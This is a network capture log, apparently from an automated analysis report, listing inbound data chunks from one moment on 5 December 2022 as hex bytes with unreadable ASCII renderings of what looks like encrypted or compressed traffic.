2022-12-05 14:13:35 UTC	64	IN	Data Raw: 63 dd fe 8c f1 a0 d0 06 7f 7b 53 14 4a f7 3b 7a a1 3e f3 45 f6 2e d2 b9 50 49 ef a9 46 c2 87 dd 53 0a 67 bb fc 33 b4 7c c4 80 8c 88 5b 25 a5 ba 48 1c b4 8a 61 1b 3b 4f 75 fe e0 a4 1b fb 42 92 fb d0 fa 20 59 0c d1 a8 b1 b7 56 56 f7 14 aa b1 ef fe 64 33 b3 e7 72 2e 09 55 b2 7d 9b e0 33 f8 ce e6 8d d3 a2 e6 c6 99 1c c9 65 5f 39 84 c0 ed c5 bc bc 10 93 13 54 e8 ba fa 39 d3 ff 88 0c e5 f3 c7 cf e2 41 65 70 06 d5 71 a3 69 21 3d 05 4d a3 98 57 95 ee e4 3d db e5 d6 87 9c 01 0b 1c 31 c4 22 d0 34 cd f6 5a da 47 31 92 f8 6a c9 fc ac cb 97 69 52 bb 69 1b 66 14 cf 8a 95 63 de 23 72 23 ca 43 7b d0 63 db fb c8 a2 ff 44 08 38 61 a4 36 0d a7 d4 00 33 c1 1a b8 f3 8f 5c 2a 79 fc 06 19 18 01 ca c5 c9 11 83 c6 e3 7f b4 ac f8 f7 56 64 c0 83 93 ae 55 7f ff c5 a8 e2 cc a7 d3 03 Data Ascii: c{SJ;z>E.PIFSg3\|[%Ha;OuB YVVd3r.U}3e_9T9Aepqi!=MW=1"4ZG1jiRifc#r#C{cD8a63\*yVdU
2022-12-05 14:13:35 UTC	66	IN	Data Raw: 35 7a 75 dd f2 43 71 38 76 a9 7a 55 7d b6 58 58 f9 02 4f 43 ea 05 15 30 31 89 a7 61 69 80 44 bb ea 47 1a 10 a2 6b d8 dd fc e7 0d 1a e6 03 a4 8e a8 a5 70 2c 47 be 08 06 cd 61 00 70 f7 d4 08 14 53 13 d2 f2 f8 37 3e 9f 58 c0 c9 4f 52 1d 42 4c ec a1 bb bc 09 57 a0 8a ed c2 78 c0 ab 7f 61 d9 Data Ascii: 5zuCq8vzU}XXOC01aiDGkp,GapS7>XORBLWxa
2022-12-05 14:13:35 UTC	66	IN	Data Raw: b1 9c de 39 47 10 2b b5 c3 a7 8d 57 4d b0 2d 82 41 96 83 7e bb 76 e8 7c b2 86 51 3c e2 ea 2a 0e aa 93 8f e7 81 31 72 0d fb e4 a1 9b 1c ff 2c be aa 52 37 d9 dc c1 69 f1 97 5e ea 82 42 94 dd ef b1 30 32 69 7b f7 8d d2 67 37 4d 91 e2 b1 87 3d a0 ea 6c 87 53 fa 9d da c6 d5 5c 82 7f 81 03 4e 67 fb 66 df a7 86 ed 61 6f 3f c3 e1 ff 91 f7 2c 96 68 fe 3d 6f 5f 43 cd 93 fd 7d d1 bd cc c6 30 87 3b af 3b cd 7b 2f 28 54 c1 87 46 db 56 46 a2 53 3e 61 0a 34 49 29 e9 d2 98 36 9e 20 41 6b 8a 42 f2 53 32 9d 99 68 6e 7c d9 31 a0 3f ce d1 9e 4a 06 1c 9b c1 89 f7 dd b9 8a de 03 07 f1 07 3d 2e de e1 85 5e 44 2b 23 9b 73 43 5d fb 5e 62 ae 72 31 00 ee d9 48 d9 fd ea e3 70 49 ad e1 27 2d db 88 43 25 e7 a4 40 0c ba 78 e9 92 81 e0 2c 2d 8a dd 33 4e 12 f8 1f 08 d3 3b 99 b3 9e d1 7f Data Ascii: 9G+WM-A~v\|Q<*1r,R7i^B02i{g7M=lS\Ngfao?,h=o_C}0;;{/(TFVFS>a4I)6 AkBS2hn\|1?J=.^D+#sC]^br1HpI'-C%@x,-3N;
2022-12-05 14:13:35 UTC	67	IN	Data Raw: cb ce 1e 5d d7 f3 a7 3e 5f 9f 93 75 d9 1c 0a 49 5d a8 bd 59 15 17 2a 59 93 e9 74 4c d0 3c aa 66 a7 54 ed bc c1 cc 67 e9 bd e2 50 53 07 6d ae 69 66 5a b5 9b 5d c6 2d 3d 1f 66 3b 02 ff fc 60 0a f1 03 ca b4 67 db 0c 3a a2 97 e0 76 82 b8 3d fe 4d d7 d3 51 b5 4e dc c1 1e 73 95 d9 b6 b8 e2 5d 8e b1 64 c0 e6 7b 2c 24 e8 66 41 39 b6 4a 1e 9c 73 46 1d c4 3a ad fd ed 3a bb 97 5b ef eb a0 26 87 f8 3e 97 73 03 37 13 50 93 15 76 6a 02 87 a4 1e 60 85 ee ad 6c d4 bb dd 57 e3 ce 4a 52 89 97 77 2d 2f 78 92 39 ee 2a bc 35 20 d3 a6 e6 87 97 a6 83 8f e2 73 a7 3c 54 36 b1 73 10 b2 31 8b a4 b6 46 42 c0 2b 4e 5b ff 0b f6 41 b9 23 10 83 53 4f b5 47 92 2d 88 7b 72 e8 43 9a bf 2a 00 ca 51 28 65 b4 d4 30 69 1d b6 11 ac 91 87 10 93 1b 14 69 69 b0 cb 9c 6a 6d 3e 25 52 85 d8 66 94 74 Data Ascii: ]>_uI]YYtL<fTgPSmifZ]-=f;`g:v=MQNs]d{,$fA9JsF::[&>s7Pvj`lWJRw-/x95 s<T6s1FB+N[A#SOG-{rC*Q(e0iiijm>%Rft
2022-12-05 14:13:35 UTC	68	IN	Data Raw: 91 21 23 0f 80 dd e2 3a b4 98 f4 2d 7a 53 0f 10 13 53 e5 d9 77 a6 c8 5a 67 0f 33 9a 73 e4 8e 94 f6 30 ad 58 f9 e2 da 8c 01 8f ab 72 98 44 e6 8a a4 69 4e fc 11 ee 7f 28 8b 21 ff 6f bd 60 3e a4 66 36 fd 6f 51 de c2 04 f3 17 ca 08 f2 0b a0 f3 e8 59 13 0b ee df 1f 0b 69 11 9e c5 7c 5e 11 20 d1 d9 f9 f1 17 4e 08 ee 0a 0e 52 58 32 b8 35 7b 8b 01 b0 f7 a7 04 09 95 87 4f 69 e7 b2 90 86 52 0a 6b a1 ea 63 da bc 72 24 1f b7 37 a7 59 50 5e 8d c8 7d 75 41 10 57 ed 42 30 f7 8a 1d c2 01 a9 9b 69 ad 06 ce 48 e0 34 71 15 88 8d ee 51 7c cd 4b 7c ec 5d 99 0a 7d 72 d1 12 da fc 3d c8 0c 58 26 49 61 8e f9 be 89 b8 00 a3 28 63 4b a5 51 f7 d5 a7 d9 b0 90 d4 9e b3 41 b9 a4 e8 5a eb 9f 32 13 3c 25 6f f2 77 e2 7f a3 b1 d2 87 68 ce 8a a3 e6 6c fb 53 a7 69 9e 7a 71 3b 6c 31 15 2f 5b Data Ascii: !#:-zSSwZg3s0XrDiN(!o`>f6oQYi\|^ NRX25{OiRkcr$7YP^}uAWB0iH4qQ\|K\|]}r=X&Ia(cKQAZ2<%owhlSizq;l1/[
2022-12-05 14:13:35 UTC	69	IN	Data Raw: 30 57 4e da a1 c4 c6 b4 fd 87 ba 71 8f 91 d3 5b fc 1d c2 7f ca 11 3d e4 3f ae 12 94 ac fc 19 a1 8d 7b 2c 38 c7 76 a2 69 16 ed fc a4 a8 94 89 a4 df 3c 19 9b ff 56 10 13 49 56 89 3c 14 ec f9 c2 7c 1e af ee d1 22 78 11 e5 fb 9e ce ba d1 a7 76 40 7a 78 01 86 40 05 bc 9a 88 5b 93 16 4a f0 b7 ec 16 eb f8 94 96 fb 8b f9 dc 61 04 27 76 e0 37 5f bd 72 a9 77 c7 a7 ea e8 2b 7b 8b 5f 18 66 ed 53 7a 1e 28 6f d8 63 b6 30 f5 2b f7 97 b4 ed 15 fd d0 ce ad 89 5a d3 b7 55 94 cf fc ca 8d 03 40 e8 6e 3a c4 4d 40 a2 ca cd 53 bb 75 94 87 ad 54 f4 57 4b fd 05 41 28 8a 67 30 b6 4f 31 48 65 36 c7 dd 2b 64 73 e6 07 64 9e 23 94 e9 b5 00 cf c8 54 65 94 81 59 33 d6 2c 49 d1 47 5e c9 f5 11 ff a1 a1 95 32 87 06 40 54 2a 0d e6 52 a6 d8 4e 68 60 5f 67 67 53 29 7c 01 d2 ab 51 bf fd a3 1f Data Ascii: 0WNq[=?{,8vi<VIV<\|"xv@zx@[Ja'v7_rw+{_fSz(oc0+ZU@n:M@SuTWKA(g0O1He6+dsd#TeY3,IG^2@T*RNh`_ggS)\|Q
2022-12-05 14:13:35 UTC	71	IN	Data Raw: 38 98 ec 55 c2 cb 7e b1 1c 12 4f 8f 10 fb 8e 10 dd 23 0a 3f d6 79 cc 5f c5 ad 2f d6 80 7d b0 aa a2 97 ae 5e e9 98 64 e0 d2 e6 b4 84 66 4e ad ac d2 42 a0 16 ad cd 4d de 6d a0 28 90 98 e5 cb c2 3a 18 23 14 0a c2 5e 7c d8 48 a9 2b 98 8a 34 51 ef bb e2 c8 2a 6d e6 a9 4b d6 15 9d 35 3d 62 6d db 4c fe 33 62 2d 38 a9 05 26 74 66 58 cc c1 23 ed a2 7e 95 c1 da d5 92 ff fa fb 2f 46 16 46 e5 b5 93 29 11 bb 54 ff 7a 6d cf cd 73 2c 23 25 fc e5 dc a4 53 92 29 28 dd 7c 14 e6 ef 87 7a 60 5e 9b ba ba 90 a6 76 2c 2f 2c 9c 93 dc 39 44 0b 5f 8b b3 0a 6b 85 1f 8c 6d a5 79 c5 33 2d 0c 77 01 ea da ef 47 87 76 1d 95 90 cd c4 b9 2c f7 96 5e e3 da d4 ed 7a 8b 4e 12 db d1 19 8d 3c 1a 38 f8 a8 ad 03 9a e0 d5 21 7f 02 f6 02 03 35 8a 72 d3 2d f9 7f 16 9d 21 94 32 c2 1b 73 73 be 87 ad Data Ascii: 8U~O#?y_/}^dfNBMm(:#^\|H+4Q*mK5=bmL3b-8&tfX#~/FF)Tzms,#%S)(\|z`^v,/,9D_kmy3-wGv,^zN<8!5r-!2ss
2022-12-05 14:13:35 UTC	72	IN	Data Raw: 65 f7 63 ae 38 33 d4 56 5a 79 d9 9c 14 16 4e 82 bd a8 f4 13 75 2d 7b 90 0c ee 6c fb 49 b6 d4 f1 3a 16 24 77 c4 16 47 17 07 e1 ca 2c 3e df c0 09 21 0e a7 85 5b 82 16 ec b7 b8 21 1d 70 3b cd f1 fa ed e8 80 ea 44 f0 09 63 7a 8c 49 a7 5c ea 8f 17 46 63 d7 db c6 5c ed b0 f0 e9 6d 00 ee 3e 4b ce 99 ac de 4e 0c 97 fb 99 5d ce 43 2b e1 7e 2d 21 9d 74 e8 9e 54 1f 74 c4 49 2f d9 25 a8 c6 2f ff 66 50 02 61 e9 27 56 ac da 82 34 b1 0b b0 40 d8 ac 11 41 2a a7 17 e5 63 61 f7 cf 0c ef 0e b5 9e f1 8e 17 07 ff 32 d4 c5 b1 2d 58 83 28 d4 7c bf cf fc 39 8a 8c 71 85 0e 8d 60 11 be cd 05 21 36 60 0d d6 59 b2 89 44 f0 ed bc 00 3c 6c 88 1b 0f de 92 fc 3e d4 43 8f 51 8c 1d f3 a7 a6 64 26 cc 6c b1 80 8c 86 bb 2f 5e 65 17 62 3c b4 13 39 bc 0f 20 b9 c1 04 03 0a 40 39 76 90 fe 04 6a Data Ascii: ec83VZyNu-{lI:$wG,>![!p;DczI\Fc\m>KN]C+~-!tTtI/%/fPa'V4@A*ca2-X(\|9q`!6`YD<l>CQd&l/^eb<9 @9vj
2022-12-05 14:13:35 UTC	73	IN	Data Raw: 56 6d 73 f1 43 6b 9d a5 02 a2 cb ac 26 e1 8f ff 46 8b 49 19 e5 cb 7a 0c 34 61 b2 aa 93 e3 61 3c 17 d9 54 f9 5e b9 f4 be fd c0 a4 92 52 30 e9 4e 62 c5 2a fe 19 72 3d f5 39 75 65 ad 99 e1 b1 35 b4 ff 91 da 3a 32 39 a3 6a b1 64 59 c1 0e 78 18 f8 ae 84 0e 29 b7 10 ba cf f8 d3 dd 04 7b 5b 4f 09 ab 5b b1 ba 4c cf 01 df 69 e0 7c fa 77 10 e0 60 ae 0c ed c3 93 23 8c c6 49 9a 35 7e d4 7c 22 11 78 a8 51 77 23 d6 78 6f 5e bf 4e 15 e0 38 26 87 ff 1f d1 9e 55 ce 68 87 f5 52 a3 43 9d 41 4e 9d 0f 18 92 3f aa 33 20 7a 34 22 3d 53 8e 4f 59 7d f8 30 2d 56 6e e0 bd 51 87 67 ed f0 ea 10 47 47 64 00 66 e7 c1 92 66 9d cf 85 5e ec 64 00 80 3d 68 30 5e b9 70 77 9c 3e bd 36 8f 3f 00 0b 1e a4 13 fd a0 cd 52 0c 59 80 96 19 c7 11 63 70 de a0 e2 e0 b0 38 a8 3c e1 70 40 e1 14 7b 67 5a Data Ascii: VmsCk&FIz4aa<T^R0Nb*r=9ue5:29jdYx){[O[Li\|w`#I5~\|"xQw#xo^N8&UhRCAN?3 z4"=SOY}0-VnQgGGdff^d=h0^pw>6?RYcp8<p@{gZ
2022-12-05 14:13:35 UTC	74	IN	Data Raw: 36 53 8d 06 75 de 0a 4e 82 59 0f f4 49 98 7d ba 3d 52 e4 b2 a0 11 16 76 13 03 fd 96 39 70 c9 59 c1 70 61 66 32 c9 77 d4 dd 59 ed a1 fc d0 41 21 f7 99 5e 52 f9 02 c5 fc 9c 36 44 9d 85 7a 8f b5 b9 28 56 a6 18 f3 5e 07 b2 f1 2f b1 d1 f4 59 14 b6 da 6c 46 71 ba 4d 0a 02 f2 44 3d e5 a3 7a b1 5a 4a 63 a2 1f 81 4d de 52 c4 f2 87 b2 b5 25 ad e3 86 88 a0 18 3f 1f 38 68 8e 3b b2 c7 0b f0 0c fc 34 cf 63 e3 7b c3 29 cf 4f d1 1d 80 00 68 77 4d 7e 98 a3 13 62 20 1a b7 cf f8 6c 17 a1 54 3d 0d 43 54 23 df 13 c9 5a 08 75 de 3f a9 df fa 69 ef 19 ea ba 02 c4 9f 9e 0e 6d 50 b7 34 68 0b 0b 97 a5 6d 2a b4 f5 d1 c9 b7 ad 3e ef a5 ad 7f 6f 67 85 94 61 2b 34 aa 88 f2 38 66 5c 7c bd be 2b ff fe f3 fa ca cb 06 d7 be 84 c1 96 88 22 3f 98 d4 95 71 14 43 9c 25 b7 7a c2 3b e1 cc 1f 95 Data Ascii: 6SuNYI}=Rv9pYpaf2wYA!^R6Dz(V^/YlFqMD=zZJcMR%?8h;4c{)OhwM~b lT=CT#Zu?imP4hm*>oga+48f\\|+"?qC%z;
2022-12-05 14:13:35 UTC	75	IN	Data Raw: 3c bc f4 ad b5 b4 e6 9b dc 2b 3e 1e 36 95 34 ff dd b1 35 dd 92 ad 53 90 9a c2 53 0d 64 0a f0 1f a5 2a f3 7a d6 97 72 46 96 45 d9 f8 f8 71 d2 39 4c 59 c0 c1 21 d1 77 51 93 ab ca 76 f7 26 93 dd 4c 44 f2 0d c4 72 31 8e 65 05 d1 0d c3 b7 ab 64 16 e7 18 b1 ef b6 6d b0 4e e2 66 a1 a3 43 60 aa d6 c3 0c a7 5a d4 70 60 7e eb c2 0e c0 58 7c d7 f0 00 66 bc 97 46 06 86 8f 2d 6a 84 c0 48 cb f2 97 b0 ca 9f ab a5 f1 5d 31 ee 16 1c 54 6b a4 7d 00 cd 88 6b 60 d3 c4 7f 03 d8 10 46 83 ce bd be 23 39 4e d6 43 70 e8 35 44 5f 63 c4 76 31 74 b6 dc dd b8 db 1b 06 6f b4 32 e0 3a 71 74 71 4a a4 cd 18 14 03 d7 13 10 1d 3b 2e 0e 5a e2 26 aa 59 a4 e1 24 41 44 46 f5 9a 33 86 c3 64 90 09 c2 8d 7d f0 01 e4 b4 75 68 10 f4 3a d8 05 3e 14 03 bc 63 60 67 35 06 1b e0 a0 a2 75 20 45 87 ad fa Data Ascii: <+>645SSd*zrFEq9LY!wQv&LDr1edmNfC`Zp`~X\|fF-jH]1Tk}k`F#9NCp5D_cv1to2:qtqJ;.Z&Y$ADF3d}uh:>c`g5u E
2022-12-05 14:13:35 UTC	77	IN	Data Raw: d5 37 41 01 c9 6d 94 3a 5b f8 5c b4 8a 8e 1f 03 69 38 a2 74 e0 c8 1b be 31 c6 8f a1 a9 fc c6 1b cc 79 48 e3 b8 6b 58 50 7f 98 1d 66 4b c0 c5 d2 63 6b 73 a4 f8 a3 b9 97 86 3f 7e 65 c1 fb 5d 18 6e c1 f5 f1 f6 cd 89 e6 84 d6 63 50 a3 54 b5 a3 2f 82 8e 8c 9a de ce b2 ed 26 df 60 3e 7e d9 8e 0f b2 94 82 0c 6e 97 f5 64 77 92 51 fe e6 4b 28 76 ec a6 8e 05 c2 2e f0 63 11 13 17 1e 9d f6 47 bb 35 3f 1f 23 91 c7 21 c8 9a 9b 37 63 58 7f b6 83 93 d0 38 16 fb b4 ee ca a3 38 01 19 bd 01 65 45 6c 2e 3b 7e b4 5a ac 6e f3 33 1f 1a ff 36 a2 8b 17 d3 6b 7b e0 6c 65 26 8d fd 16 49 b6 c5 1d 39 e9 b9 c9 ba ef 63 12 5f 17 11 58 6f 08 0f a4 e6 0a 27 da 7b 7a 66 d8 70 d5 de fd aa 41 17 a3 0e c6 c4 ca 79 93 bc 27 29 24 a6 cb 7a 47 c8 1e df 5b 7b bf 03 39 bf be a3 0b f8 e2 23 12 21 Data Ascii: 7Am:[\i8t1yHkXPfKcks?~e]ncPT/&`>~ndwQK(v.cG5?#!7cX88eEl.;~Zn36k{le&I9c_Xo'{zfpAy')$zG[{9#!
2022-12-05 14:13:35 UTC	78	IN	Data Raw: b3 ec 1d b1 37 91 81 ab 21 53 91 e3 73 0e bf b9 3f ef 4f 7f 4c be 17 57 65 ff 3f cc 89 6d 15 01 e9 5d 59 22 e5 59 e7 5f b9 61 54 03 07 75 79 70 c2 ad 3e 6a cf 71 3e 63 a7 67 e0 d1 fd 4a 90 2a a8 c6 65 c6 44 12 fc a0 71 1d 12 9a 3f ef 6a ba 5e f7 93 b8 2f 74 ae 46 85 40 44 0f 4e 88 a0 08 96 06 e4 19 23 24 25 1b 2d 2c 06 bd 0c c2 cd 82 3f 6d e7 ea 33 64 36 b7 d3 fc b3 f1 83 cc 5b 9d 53 be 8f 92 3f e0 46 67 57 e8 f6 c2 8a e6 99 47 26 38 20 01 e6 f9 3f a2 fc 10 62 ab 9d e1 7e 15 c4 ca b4 f3 85 e4 32 7b 87 75 7f 84 f5 c9 fc 1e 4d 73 ca d4 14 54 f3 e4 63 67 7e fe e3 5a 35 1f 7f d1 40 af 98 f8 a6 2b 33 68 51 0c 87 71 40 ae b0 5f 9d 5b 0a fd ba 71 e0 1d 73 22 9f 41 6b f2 2c 75 b9 91 7d 8d 19 40 6c 37 98 0c e5 19 41 a1 93 1f 2b 0c 06 c6 85 02 35 4d 28 67 6f b5 65 Data Ascii: 7!Ss?OLWe?m]Y"Y_aTuyp>jq>cgJ*eDq?j^/tF@DN#$%-,?m3d6[S?FgWG&8 ?b~2{uMsTcg~Z5@+3hQq@_[qs"Ak,u}@l7A+5M(goe
2022-12-05 14:13:35 UTC	79	IN	Data Raw: 85 c1 54 5c 58 e1 cd 34 ac f2 aa cc 19 45 25 6a d3 69 a2 92 9a 8a 32 05 81 b8 a0 1b 0b 0b 90 30 2a cd 25 a4 80 71 91 34 b1 da c8 1f c1 72 74 e3 b2 c1 a5 fe 23 6f a9 5d 3e 9e 14 43 41 41 30 cb ed 67 1c 5e 3c 69 dc a5 19 c1 75 6c cf d9 7a 59 70 5a f2 2d 28 15 ca 0a 57 f2 21 62 3a e6 74 35 82 b9 d3 2c 09 46 0a 8c 28 88 af 6c 80 50 7c db 4d 03 26 a7 a4 f9 38 51 3b 6d 28 f8 c5 90 60 ad cf f3 66 52 76 fa 35 8a ba a1 30 56 67 92 41 19 b4 60 9f 94 bc 59 79 2b 9f d9 7e 21 7b 2f a6 f3 9f 8e 57 c0 94 33 c0 46 d8 b5 09 a7 ce c0 90 7c c4 d1 8a 95 49 2e 68 11 54 94 2a 4a 22 c2 9a 69 89 38 ca c7 da 76 d6 b8 e3 74 ef 20 45 7e 5e e1 05 51 36 1b ca bd 7d 4a 62 59 36 53 44 df 00 a4 d8 9b 17 c0 16 c5 c3 4d 42 1d 7b 6e 1e 66 7c 82 a9 df f7 ae 1b 44 51 6b 45 3f 05 9e d7 c5 7d Data Ascii: T\X4E%ji20%q4rt#o]>CAA0g^<iulzYpZ-(W!b:t5,F(lP\|M&8Q;m(`fRv50VgA`Yy+~!{/W3F\|I.hTJ"i8vt E~^Q6}JbY6SDMB{nf\|DQkE?}
2022-12-05 14:13:35 UTC	80	IN	Data Raw: 99 b9 50 5d ba 2d 5b 63 8d 79 db cd ba c4 bc 7e 1e 0b 5a 3a 94 51 87 b0 4e 1a aa e7 47 76 6a 68 4d 92 36 5e 0b b7 da 12 a4 e8 11 a7 b5 53 0c 15 cf e8 1b 35 f0 00 c2 49 e3 8c 93 dd 31 af 5c f2 cb 70 1a d9 b4 ca 97 74 e3 55 b5 69 eb 1d c6 94 12 b9 35 f4 7e 84 76 75 62 ed 92 f3 23 a8 36 97 85 c5 01 68 4d 53 4a 45 55 a3 23 95 05 7b 94 ca a5 84 1c 35 9c 61 6e 47 b7 1a 69 02 27 8f 5e 73 b0 54 85 8d a3 c3 c7 fe cc 8d c0 c5 d6 71 2d 64 19 ee 88 e1 06 f1 d9 73 a7 1a b2 f5 29 d2 25 cc aa 89 b1 99 b8 aa 8b 8b c0 c2 c3 6b 62 70 28 3d b7 1f 96 fb 76 56 b7 39 cb 22 59 59 33 b0 0e 54 5e ce 50 1e a9 85 1c ed 88 36 76 48 f7 cb 65 2d cc 86 95 d0 4c b2 f0 50 fd ba 0f d0 f0 f6 cc d1 17 e5 f9 3d dd 38 99 8d 72 3e cb bd 28 38 39 b3 ba 62 f1 68 f6 72 d6 af 5d c4 32 bb 16 97 7e Data Ascii: P]-[cy~Z:QNGvjhM6^S5I1\ptUi5~vub#6hMSJEU#{5anGi'^sTq-ds)%kbp(=vV9"YY3T^P6vHe-LP=8r>(89bhr]2~
2022-12-05 14:13:35 UTC	82	IN	Data Raw: 17 78 1f 37 5a 94 a8 bd 40 2a 2b eb bd 6a fa df d0 f2 46 cb 5e 3b ae f4 38 be 94 9e 59 e0 01 6f 62 f2 f4 ec 83 21 dd 8b a2 eb 65 85 e8 8c 68 1d 17 da de d4 56 ce 77 16 be 5b ba a6 a9 95 7c 0b 9f 0a 98 56 52 c6 74 ee 50 0f 04 50 ce fe d3 cf 74 1b 8e cb 63 08 30 61 40 6d 35 82 a3 e4 5d 3d 3f d4 36 09 8e 0d f4 ed 2b d6 e4 5b Data Ascii: x7Z@*+jF^;8Yob!ehVw[\|VRtPPtc0a@m5]=?6+[
2022-12-05 14:13:35 UTC	82	IN	Data Raw: c4 40 14 22 12 66 9c e3 0a 98 9a a3 f2 fa 2f 1b 23 fa b4 84 65 06 18 bf a8 c0 11 f2 17 70 f1 29 a0 79 d9 d8 22 ca 68 a1 9f 50 f6 17 47 a5 e0 b8 20 e1 8e 94 a6 be b2 d7 50 5c f6 d9 93 b6 2d 0c e4 10 79 c1 2d e0 3d e7 05 46 f2 36 a0 22 1a be 2d f9 89 5a 76 69 65 3b a0 9d 66 38 1f 66 37 e1 c6 28 18 f1 20 33 c6 55 48 6c c7 ac 73 4e 1e 39 51 4f 79 0d 80 05 bc 13 73 7d f0 85 44 a2 6b 93 06 c5 fb 05 cb 19 44 9f 38 17 50 63 81 0a e4 28 ad 7b 9f 9f b2 24 cf 57 a7 46 cd 1f a8 67 f7 a2 79 48 4b 65 95 0f ff 78 b2 4a d7 ff 7a 83 53 7b a5 8e 0d 1c 5f be 82 8b 53 71 03 ef 5b 14 a3 0a 89 9b aa 87 1b 3b c1 c0 f7 08 35 ff bd b1 d7 2d f8 f2 cc 92 e0 7a c2 00 9f b9 42 8c 83 bb d7 d7 e2 a8 78 c5 0f 4d ca b5 65 8a b6 d1 c6 09 05 4e 68 ef 79 09 da 3d 30 bc e9 d8 9f 33 1b 16 b2 Data Ascii: @"f/#ep)y"hPG P\-y-=F6"-Zvie;f8f7( 3UHlsN9QOys}DkD8Pc({$WFgyHKexJzS{_Sq[;5-zBxMeNhy=03
2022-12-05 14:13:35 UTC	83	IN	Data Raw: 1e 90 de 9a 74 df d5 a2 d1 bb 76 20 a0 ad 4c 07 89 e7 80 82 af 4c 02 ec 3a 4d 83 65 da 0c 48 52 ff 00 00 8f 03 f4 9c 27 84 ff d0 39 92 8f 20 82 e1 39 cd 70 d5 ea 6c 55 23 ce 8f 4e f9 06 6b 49 e1 27 8a 6b b6 71 2d e7 0b 3b 12 53 c2 cb 0b a8 76 f1 6b e0 9a 47 1f b9 c4 b2 a7 27 bf 7a 6a c7 9f 6c a6 17 9b c1 4d b2 04 ef bd c9 01 31 dd ac 43 a3 bc 5c eb 99 89 ac 2d 16 7d ce 21 41 c5 cc 04 2f a0 da db 58 40 35 62 1d fd b0 bd 11 89 d2 3c e0 3c 55 a7 02 17 b0 41 13 e6 54 19 71 7f e7 44 2f 07 0e f0 58 65 02 92 c9 19 12 a1 d9 1d 36 77 c4 c2 d0 00 af 52 80 a6 ee 0c ff e0 20 37 ff 76 10 a0 61 32 f5 c2 c4 31 6e 8a 90 14 92 a6 98 54 bf 4c ee c6 22 2f 46 53 21 4c 2a c5 62 69 71 12 5d cb f0 63 f1 bf 76 4c c0 16 50 98 e8 db 32 42 39 b2 85 62 69 73 2f 93 83 ca 1d 9a f6 e1 Data Ascii: tv LL:MeHR'9 9plU#NkI'kq-;SvkG'zjlM1C\-}!A/X@5b<<UATqD/Xe6wR 7va21nTL"/FS!L*biq]cvLP2B9bis/
2022-12-05 14:13:35 UTC	84	IN	Data Raw: 2c 8c bf 62 64 c0 76 24 6d 57 43 cb 92 47 d9 5c 1d 84 04 5b 90 ba 3d ac 4d 15 a8 9b 5e de 2f 93 5b 39 4e dc 7f d2 0c c1 d8 cb f5 1f fb 31 ee ca 7c 88 bb 19 be b8 cd 15 01 cd e5 c5 1a 5a 6c ca 4e a6 6a 27 70 03 b7 a2 ee 26 0c 53 9e d7 d0 f3 ce b0 9d 3a 72 00 ff 9c 67 4f 01 4f 1e 9a 42 e2 19 03 a2 5c 1d 5f e0 4c 93 0c cf 8b 0b 86 41 e7 b9 5e c0 68 77 13 f1 99 8c f3 47 30 1f ef 60 ee 0b 62 88 d1 27 f7 66 5f ba 73 24 73 64 a4 17 72 3e 91 46 88 1f c5 b8 83 bb f6 34 98 32 1f 8f 0d e5 6e 12 d3 cf d7 d6 da ed c6 63 97 64 6b 8d ae e9 4d 20 5a 6e bc fc 15 7d 49 3c 47 3f 33 2e de 5e a0 04 42 98 9f de 1c bf 71 38 c5 dd a7 07 30 1c 72 64 f2 60 ae 95 0c a6 77 0d 35 c2 dd 23 d3 cd e2 ae d7 fb 05 68 13 11 41 fd 89 cf 03 90 a3 41 6d 74 a2 36 20 cf 91 6f cf fb 90 74 f0 d4 Data Ascii: ,bdv$mWCG\[=M^/[9N1\|ZlNj'p&S:rgOOB\_LA^hwG0`b'f_s$sdr>F42ncdkM Zn}I<G?3.^Bq80rd`w5#hAAmt6 ot
2022-12-05 14:13:35 UTC	85	IN	Data Raw: b9 9b 39 8a 64 ea 1c 9f 23 0e ca 3c de a3 8b 75 15 cd 45 1e c8 f9 10 a3 91 28 34 7a af 39 ca a0 56 7e 64 1e 71 5c 94 aa d7 ad 6e 20 af 9b 73 04 c2 e4 84 cf 32 8f c4 92 5a 0c c3 a3 8f 84 f5 60 9c 55 82 27 9a df 0d 85 25 7c 9d db 5a f1 cf a7 5f 83 85 18 e6 4e 14 9c 1b ec 27 c2 58 c7 1a 8f 84 ab cf 95 9f 54 c3 72 98 3a 71 fc 16 2a 81 2f 9d 18 a0 e8 07 7d 3c e2 02 4c 17 3f 64 e4 de 7e 99 bd 0a 20 ad 3d 49 6b 04 02 0c ff 88 c0 0d 2e 13 b3 5d 38 b6 5f 04 c0 c1 2a a3 1e 37 17 b3 8c 35 b2 a7 fc 60 9a 8f e8 c4 45 8f 28 91 07 b0 36 b0 08 44 41 3a 96 fc a6 a5 48 0c b7 cd f3 5a 92 18 6c a1 a0 e0 17 ff bf 46 2d 5e b6 61 d4 cf e1 95 87 31 4f b3 10 f3 af ec 72 6f 9c 8b e7 38 c2 f7 e7 f1 c9 a6 b5 6e 18 4e f8 d9 d4 d9 f8 2a 8d e1 45 c5 a8 a2 8e bc 7d 3f d3 00 1a 9f e8 08 Data Ascii: 9d#<uE(4z9V~dq\n s2Z`U'%\|Z_N'XTr:q/}<L?d~ =Ik.]8_75`E(6DA:HZlF-^a1Oro8nN*E}?
2022-12-05 14:13:35 UTC	87	IN	Data Raw: 67 d4 64 b5 82 20 5a 25 4b 76 7a 7d 9d f7 15 92 2d a0 0a 57 54 65 b3 dd 32 80 3c f5 2e b2 38 9d 2d 24 94 30 48 fe 3e 3d 45 6b 40 ef 11 ef 9d fe 9c bf 90 87 5f 4b 80 03 98 f2 88 dd 9c 7e 43 89 0a 6a a0 bf d3 ab e4 5a 70 1d a7 87 a1 c3 75 a6 a8 58 66 c3 4a 65 96 cf 75 cd 14 47 f9 b5 6b 76 1a 13 16 63 e1 fb 11 fe 59 ed b4 cd 2a d4 21 24 2e d9 c9 19 f1 6f bc 61 2e 61 20 a8 8a bf a4 d8 e6 59 ca cc 63 66 46 1b 5b ac e1 bc fa ad 7c fc c8 83 a9 9b 59 31 2a 9b 39 24 35 12 86 df 5d b1 96 51 de 22 75 a8 69 e6 c5 58 c1 93 02 79 4e a3 d4 0d d9 d7 77 64 ed 60 c4 7d 21 ad de f0 89 58 08 37 20 9a 0c a6 df 02 e4 fc 3a 9d ca 56 1d 1b 0f 8c 96 78 da 06 d5 7c 72 d4 8e 21 52 c9 dc 8e 0d 7f 12 89 c6 3a 83 46 20 f3 b4 3a 08 74 91 30 55 25 d1 24 10 be 62 83 59 85 8c 1d 0a 33 b5 Data Ascii: gd Z%Kvz}-WTe2<.8-$0H>=Ek@_K~CjZpuXfJeuGkvcY!$.oa.a YcfF[\|Y19$5]Q"uiXyNwd`}!X7 :Vx\|r!R:F 